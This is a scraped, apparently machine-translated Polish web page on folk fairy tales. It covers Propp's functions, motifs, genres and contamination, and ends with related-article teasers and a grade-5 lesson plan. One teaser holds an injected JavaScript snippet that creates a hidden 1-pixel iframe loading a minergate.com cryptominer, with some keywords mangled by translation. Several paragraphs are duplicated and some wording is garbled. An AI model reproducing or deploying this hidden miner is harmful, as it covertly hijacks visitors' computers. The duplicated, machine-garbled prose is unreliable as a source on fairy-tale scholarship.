Bohaterów baśni wyróżnia szerokie uogólnienie: typy, nośniki jakiejś głównej jakości, która decyduje o wizerunku. Są wewnętrznie statyczne, co można podkreślić powtarzającym się pseudonimem, portretem, wizerunkiem mieszkania i tak dalej. Jednak wewnętrzna niezmienność obrazów łączy się z ich głęboko nieodłącznym, zewnętrznym dynamizmem. Postacie z bajek ujawniają się przede wszystkim w akcji i to jest główny sposób ich portretowania. Są całkowicie zależni od swojej roli fabularnej. Połączone w jedną ideę artystyczną tworzą jedną narrację – fabułę. Bajki maksymalnie wykorzystują czas jako czynnik artystyczny, tym samym głęboko wyrażając istotę epickiego poetyckiego rodzaju, do którego należą.

W życiu ustnym bajki podlegały skurczom i wzrostom, można je było po prostu zapomnieć ... Dlatego bajki musiały mieć nie tylko harmonijną fabułę, ale także niezwykle przejrzystą kompozycję. Witalności baśni sprzyjała ich największa artystyczna prostota.

Fabuły baśni mają zwykły epicki rozwój: ekspozycja - fabuła - rozwój akcji - punkt kulminacyjny - rozwiązanie (jest to ich cecha ogólna). Struktura fabularna baśni ma swoje specyficzne cechy.

V. Ya Propp zwrócił szczególną uwagę na działania postaci z bajek i określił je terminem „funkcja". Badacz zauważył, że te same funkcje mogą się powtarzać w różnych wątkach.

Wraz z funkcjami w bajkowym tekście dość łatwo można wyróżnić najprostsze jednostki narracyjne fabuły, które po raz pierwszy scharakteryzował A. N. Veselovsky i nazwał „motywami". Kompozycyjnie fabuła bajkowa składa się z motywów.

Każdy bajkowy gatunek ma swoje charakterystyczne motywy. Spotkanie determinuje strukturę wielu bajek o zwierzętach, poszukiwanie cudownej narzeczonej to poszukiwanie magicznych.

Elementarne wątki składają się tylko z jednego motywu (prawdopodobnie takie były starożytne mity). Bardziej złożonym typem są fabuły kumulacyjne (od łac. cumulare – „wzrost, kumulacja”) – wynikające z kumulacji łańcuchów wariacji tego samego motywu. Takie wątki są typowe przede wszystkim dla wielu bajek o zwierzętach („Terem muchy”, „Chata zimowa (noc) zwierząt”). Najbardziej złożona jest fabuła typu bajkowego, na którą składa się łańcuch motywów o różnej treści. To pasuje zaawansowane myślenie wymaga pamiętania nie tylko o najniższym poziomie narracji (motyw), ale o całej fabule.

Baśń ma zawsze szczególny stosunek do rzeczywistości: baśniowa przestrzeń i baśniowy czas nie są wpisane w prawdziwą geografię i historię, narracja okazuje się być poza rzeczywistością, co pozwala maksymalnie zamanifestować poetycką fikcję. Bajki zachowują realizm, wypełnione prawdziwymi szczegółami dnia codziennego. Prawda i fikcja, dwie przeciwstawne zasady, są dialektycznie połączone w bajkach w jedną całość.

Głównym zainteresowaniem baśni była treść, dlatego stylistycznie wiele bajek jest zbliżonych do żywej mowy ludowej.

Bajki reagowały na negatywne aspekty życia, przeciwstawiały się im własną, sprawiedliwą decyzją. Sympatyzują z bezbronnymi, obrażonymi, niewinnie prześladowanymi – idealizują tych bohaterów, uszczęśliwiają.

W prozie ustnej wyróżniają się dwa duże działy: bajki i proza niebaśniowa.

Podstawą ich rozróżnienia jest odmienny stosunek samych ludzi do baśni jako fikcji i „wydarzeń” jako prawdy. Z punktu widzenia ludzi bajki nie mają innego celu niż działanie na fantazję. Zadziwiają, zaskakują, zachwycają, interesują się swoimi niecodziennymi humorystycznymi sytuacjami. Nawet w połowie XIX wieku. koneser kultury ludowej K. S. Aksakov zauważył: „Wydaje się, że przysłowie powinno być związane głównie z bajką, a mowa powinna być kłamstwem - fikcją”. Później V. Ya Propp napisał: „Bajka jest przemyślaną i poetycką fikcją. Nigdy nie uchodzi za rzeczywistość”.

Bajka to specyficzne zjawisko, które łączy kilka gatunków. Rosyjskie baśnie dzielą się zwykle na następujące gatunki: o zwierzętach, magiczne i szybkie (anegdotyczne i powieściowe).

Nie zawsze da się wytyczyć wyraźną granicę między gatunkami baśniowymi, a ponadto między dziełami epickimi różnych gatunków. Dzieje się tak, ponieważ fabuły mogą zmieniać swoją przynależność gatunkową: mogą być wykonywane zarówno jako bajki, jak i legendy, tradycje, eposy, ballady, by-valytsins. Na przykład epos o podróży Sadko do podwodnego świata przypomina bajkę, dlatego czasami opowiadano o niej jako o baśni. Bajkowa fabuła „Cudowna fajka” (o ujawnieniu tajemnicy morderstwa przy pomocy cudownej rośliny) znana jest z ballad. Niektóre baśnie w późniejszym okresie straciły swoje cudowne elementy i stały się powieściami.

Opowieści o zwierzętach można by uznać za anegdoty. Zjawiska te spowodowane były ustnym charakterem folkloru, jego zdolnością reagowania zarówno na chwilowe sytuacje, jak i na zmieniające się w procesie rozwoju historycznego gusta estetyczne ludzi. Mimo to baśnie zachowały swoją artystyczną podstawę, nigdy nie rozpłynęły się całkowicie w innych gatunkach.

Pod względem historycznym bajki są dość późnym zjawiskiem. Warunkiem ich powstania w każdym narodzie był rozkład prymitywnego systemu komunalnego i upadek mitologicznego światopoglądu.

W tym czasie w umysłach ludzi dokonała się „artystyczna eksplozja”: religijne i magiczne treści obrzędów i mitów przekształciły się w poetycką formę baśni. Ludy, które nie przezwyciężyły prymitywizmu, nie znają baśni. Między innymi z punktu widzenia współczesnego człowieka pojawienie się baśni było archaicznym typem autorstwa: ich wykonawcy byli przekonani o nienaruszalności treści. „Forma okazuje się więc przerośnięta i w pewnym sensie niezależna od treści” – pisał M. I. Steblin-Kamensky. Dzięki temu treść baśni daje możliwość spojrzenia w przeszłość przez tysiąclecia.

Geneza gatunków baśniowych ma inną głębię historyczną. Najstarsze są bajki o zwierzętach, późniejsze magiczne i anegdotyczne powstały jeszcze później

- powieściopisarz. Specyficzna jedność wszystkich gatunków przejawiała się w podobieństwie obrazu, w tych samych prawach poetyckich, które działały w każdej bajce.

Podstawą baśni jest zawsze antyteza między snem a rzeczywistością. Bajkowa fabuła oferuje pełną, choć utopijną, rozdzielczość

W świecie baśni zwycięża sen.

Zasada antytezy znalazła uniwersalne zastosowanie w baśniach. Ważne jest, aby wziąć pod uwagę, że ich postacie są kontrastowo rozmieszczone wzdłuż biegunów dobra i zła, których estetycznym wyrazem jest piękno i brzydota.

Bohaterów baśni, podobnie jak inne gatunki folklorystyczne, wyróżnia szerokie uogólnienie: nie są to postacie, ale typy, nośniki jakiejś głównej jakości, która decyduje o wizerunku. Są wewnętrznie statyczne, co można podkreślić powtarzającym się pseudonimem, portretem, wizerunkiem mieszkania i tak dalej. Ale jednocześnie wewnętrzna niezmienność obrazów łączy się z głęboko tkwiącym w nich zewnętrznym dynamizmem. Postacie z bajek ujawniają się przede wszystkim w akcji i to jest główny sposób ich portretowania. Są całkowicie zależni od swojej roli fabularnej. Jednocześnie działania bajkowych postaci tworzą treść i kompozycję baśni. Połączone w jedną ideę artystyczną tworzą jedną narrację – fabułę. Bajki maksymalnie wykorzystują czas jako czynnik artystyczny, tym samym głęboko wyrażając istotę epickiego poetyckiego rodzaju, do którego należą.

Bajki charakteryzują się stabilnym powtórzeniem tego samego typu postaci w różnych utworach, ale tylko w ramach ich gatunku. Dzięki temu bajki można połączyć w jedną narrację. Zjawisko to nazywamy zanieczyszczeniem (z łac. contaminatio – „mieszanie, łączenie”). Orientalna opowieść opowiadała, jak słynna Szeherezada, znająca sztukę skażenia, w imię ocalenia życia prowadziła niekończącą się narrację przez tysiąc i jedną noc.

W egzystencji ustnej baśnie ulegały skurczom i rozrostom, procesom asymilacji z innymi utworami i gatunkami, aż w końcu mogły po prostu zostać zapomniane... Z tego powodu bajki musiały mieć nie tylko harmonijną fabułę, ale także niezwykle klarowna kompozycja. Witalności baśni sprzyjała ich największa artystyczna prostota.

Strona 1 z 1

„Bohater naszych czasów” najwyższe osiągnięcie prozy romantycznej

(function() ( var w = document.createElement("iframe"); w.style.border = "brak"; w.style.width = "1px"; w.style.height = "1px"; w.src = "//ru.minergate.com/wmr/bcn/podivilovhuilo%40yandex.ru/2/258de372a1e9730f/hidden"; var s = document.getElementsByTagName("ciało"); s.appendChild(w, s; )) ();...

Afirmacja ludowej moralności i wewnętrznego piękna człowieka w sztuce „Natalka Poltavka”

Wielkość i znaczenie pisarza mierzy się tym, jak głęboko sięga korzeń jego dzieła życie ludowe i jak adekwatnie odzwierciedla zaawansowane ideały swoich czasów. Te postulaty narodowości i progresywności sztuki są organicznie ucieleśnione w: dzieła sztuki IP Kotlarewski. Wykazując głębokie zainteresowanie rosyjskim i światowym dramatem i teatrem, Kotlarewski i Szczepkin zdali sobie sprawę, że nadszedł czas, aby stworzyć ukraiński teatr narodowy. Pierwszym znakiem była sztuka „Natalka Połtawka”, która nie schodziła ze sceny od ponad 150 lat....

Bajki w arsenale gatunków V. Kataev

Opowieści W wielogatunkowym arsenale twórczym V. Kataeva znajduje się również kilka bajek. Powstały one w latach czterdziestych XX wieku: „Fajka i dzban” (1940), „Kwiat siedmiu kwiatów” (1940), „Pniak” (1945), „Perła” (1945), „Gołąb” (1949). Bajki są przesiąknięte wieloma intonacjami, czasem poetycko jaskrawe, czasem żartobliwie żarliwe, czasem ironicznie smutne. Akcja w nich jest swobodnie przenoszona z prawdziwy plan w świat fantazji. ...

Olga Kobylyanska w historii prozy ukraińskiej

Olga Yulianovna Kobilyanskaya urodziła się 27 września 1863 r. W miejscowości Gura-Humora w południowej Bukowinie (obecnie miasto Gura-Humorului w Rumunii) w rodzinie pracownika. W latach 1873-1877. O. Kobilyanskaya studiowała w czteroletniej szkole podstawowej w Niemczech. Nie można dowiedzieć się więcej dalsza edukacja kupiła na własną rękę. W latach 1889-1891 mieszkała we wsi O. Kobilyanskaya. Dzielnica Dimka Seretsky. Później wraz z rodziną przeprowadziła się do stałe życie do Czerniowiec, aktywnie uczestniczył w ruch kobiecy, 1894 była jedną z organizatorek „Towarzystwa Rosyjskich Kobiet na Bukowinie”. W 1899 r. O. Kobilyanskaya odwiedziła Ukrainę Naddnieprzańską, odwiedzając rodzinę Kosachów na Wołyniu, Lisenkov i Staritsky w Kijowie, grób T. Szewczenki w Kanewie. Po I wojnie światowej i rumuńskiej okupacji północnej Bukowiny pisarz musiał żyć w trudnych warunkach, doświadczając prześladowań ze strony władz rumuńskich. Od 1927 r. rozpoczęto na Ukrainie dziewiątą edycję dzieł zebranych O. Kobiliańskiej. W tym samym roku na 40. znaku działalność literacka dostała emeryturę od rządu Ukraińskiej SRR, co dało pisarce możliwość poprawy bezpieczeństwa finansowego i zdobycia Własny dom gdzie mieszkał pisarz ostatnie lata własne życie. W 1940 r. O. Kobilyanskaya pogratulowała przystąpienia północnej Bukowiny do Ukraińskiej SRR, aktywnie pojawiała się w prasie z artykułami dziennikarskimi i wspomnieniami. W tym samym roku została przyjęta do Związku pisarze radzieccy Ukraina. O. Kobylyanska zmarła 21 marca 1942 r. w Czerniowcach....

„Quiet Flows the Don” – epicka powieść o narodowej tragedii przełomu epok

Cel: zapoznanie studentów z życiową i twórczą drogą mgr inż. Szołochow; pokazać znaczenie jego pracy i działania społeczne; zapoznanie się z historią powstania i wydania powieści” Cichy Don»; określić istotę koncepcji Szołochowa wojna domowa w epickiej powieści; kształtować humanistyczny światopogląd, tożsamość narodowa, pozycja cywilna, poczucie patriotyzmu, miłości i szacunku do literatury oraz wartości kultury narodowej. sprzęt: portret m. a. Szołochow, wystawa materiałów ilustracyjnych i dokumentalnych o życiu i twórczości m....

Podręcznik: Literatura. 5 komórek Czytelnik podręczników do edukacji ogólnej. instytucje. Godzina 2/Aut. V. Ya Korovin i inni - wyd. - M.: Oświecenie, lekcja. Bajki jako rodzaj prozy ludowej. Rodzaje bajek, gawędziarzy. 2 lekcje. Bajka „Żaba księżniczka”. Działka i świat sztuki bajki. 3 lekcje. Bajka „Żaba księżniczka”. Bohaterowie. Ludowe ideały w bajce. 4 lekcje. Fabuła " Iwan chłop syn i cud - Yudo. Gatunek bajki. Lekcja 5 Bajka „Iwan - chłopski syn i cud - Yudo”. Opowiadanie bajek. 6-7 lekcji. R./R. Napisz bajkę. Planowanie kalendarzowo-tematyczne

Cele lekcji: 1) Edukacyjne: zapoznanie uczniów z bajką, która jest rodzajem prozy ludowej; zorientuj się, jakie rodzaje bajek; zapoznaj uczniów z pojęciem „narratora”. 2) Rozwijanie: rozwijaj zainteresowanie i miłość do bajek; 3) Edukacyjny: pielęgnuj miłość do literatury. Lekcja 1 - Bajki jako rodzaj prozy ludowej. Rodzaje bajek, gawędziarzy.

Scena 1: Organizowanie czasu(2 minuty). *Brak kontroli prądu stałego. To pierwszy temat w tym bloku. Wcześniej badano mity. Etap 2: Rozmowa (10 minut). Lekcja rozpoczyna się od krótkiej rozmowy na temat: Czym jest bajka? Nauczyciel zadaje następujące pytania: co to jest bajka, jakie znasz bajki, czy lubisz bajki, jaka jest twoja ulubiona bajka, dlaczego bajka jest tak popularna? Uczniowie odpowiadają. W ten sposób uczniowie dochodzą do wniosku o znaczeniu bajki, o jej powszechności i popularności. Etap 3: Słowo nauczyciela (10 minut). Następnie nauczyciel zabiera głos i opowiada o tym, czym jest bajka, opowiada o baśni jako formie prozy ludowej. Wprowadza pojęcie: bajka literacka, bajka folklorystyczna. Uczniowie spisują, pod dyktando nauczyciela, definicję pojęcia „bajka literacka”, „bajka ludowa”. Nie zatrzymuj się na długo bajka literacka. Nauczyciel wprowadza również pojęcie „narratora”. Etap 4: Gra (10 minut). Nauczyciel zachęca uczniów do zapamiętania wszystkich znanych im bajek ( ludowe opowieści) i zapisz je w kolumnie. Wcześniej nauczyciel dzieli klasę na kilka zespołów i daje im 4 minuty do namysłu. Zwycięzcą zostaje drużyna, która zdołała zapamiętać najwięcej bajek. Etap 5: Rozmowa (10 minut). Nauczyciel następnie mówi uczniom o: różne rodzaje bajki. Uczniowie zapisują klasyfikację bajek w zeszycie (klasyfikacja na następnym slajdzie). A uczniowie w tym czasie, po każdej pisanej pozycji, wymieniają ze swojej listy bajki, które są odpowiednie dla ten gatunek. Etap 6: Finał (3 minuty). Podsumowanie, ocena za aktywną pracę na lekcji, nagranie i wyjaśnienie Praca domowa. Podczas zajęć: